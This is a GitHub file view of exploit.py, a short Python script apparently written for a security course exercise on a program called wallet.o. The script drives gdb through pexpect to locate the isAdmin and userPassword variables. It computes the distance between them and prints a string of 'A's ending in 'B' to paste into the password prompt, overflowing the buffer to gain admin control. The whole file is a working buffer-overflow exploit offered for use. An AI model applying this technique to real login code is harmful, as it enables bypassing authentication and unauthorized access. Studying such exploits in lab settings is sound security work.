forked from BorekZnovustvoritel/ic1
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
executable file
·28 lines (26 loc) · 936 Bytes
/
Copy pathexploit.py
File metadata and controls
executable file
·28 lines (26 loc) · 936 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
import sys, re, pexpect
terminal = pexpect.spawn("/bin/bash", encoding='utf-8')
terminal.logfile = sys.stdout
terminal.sendline("gdb wallet.o")
terminal.expect("(gdb)")
terminal.sendline("break authenticate")
terminal.expect("Breakpoint")
terminal.sendline("run")
terminal.expect("Login as:")
terminal.sendline("")
terminal.expect("Password:")
terminal.sendline("")
terminal.expect("(gdb)")
terminal.sendline("print &isAdmin")
index = terminal.expect(re.compile("0x\w+"))
isAdminAddress = terminal.match.group(index)
terminal.sendline("print &userPassword")
index = terminal.expect(re.compile("0x\w+"))
userPasswordAddress = terminal.match.group(index)
terminal.sendline("quit")
terminal.expect("y or n")
terminal.sendline("y")
numOfBytes = int(isAdminAddress[2:], 16) - int(userPasswordAddress[2:], 16)
print("Insert this into password section to gain control via buffer overflow:\n" + numOfBytes*"A"+"B")
input()